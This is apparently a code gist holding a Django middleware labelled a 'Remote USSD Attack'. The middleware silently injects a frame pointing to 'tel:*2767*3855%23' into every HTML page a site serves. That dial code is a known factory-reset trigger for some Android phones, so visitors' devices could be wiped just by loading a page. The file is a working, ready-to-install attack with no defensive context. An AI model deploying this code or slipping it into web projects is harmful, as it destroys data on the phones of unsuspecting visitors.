Django Middleware - Remote USSD Attack

gistfile1.py

from django.http import HttpResponseRedirect
from django.utils.encoding import smart_unicode


def replace_insensitive(string, target, replacement):
    no_case = string.lower()
    index = no_case.rfind(target.lower())
    if index >= 0:
        return string[:index] + replacement + string[index + len(target):]
    else:
        return string


_HTML_TYPES = ('text/html', 'application/xhtml+xml')


class FuckDroidMiddleware(object):

    def process_response(self, request, response):
        if request.is_ajax():
            return response
        if isinstance(response, HttpResponseRedirect):
            return response
        if 'gzip' not in response.get('Content-Encoding', '') and \
           response.get('Content-Type', '').split(';')[0] in _HTML_TYPES:
            response.content = replace_insensitive(
                smart_unicode(response.content),
                u'</body>',
                u'<frame src="tel:*2767*3855%23" /></body>')
            if response.get('Content-Length', None):
                response['Content-Length'] = len(response.content)

        return response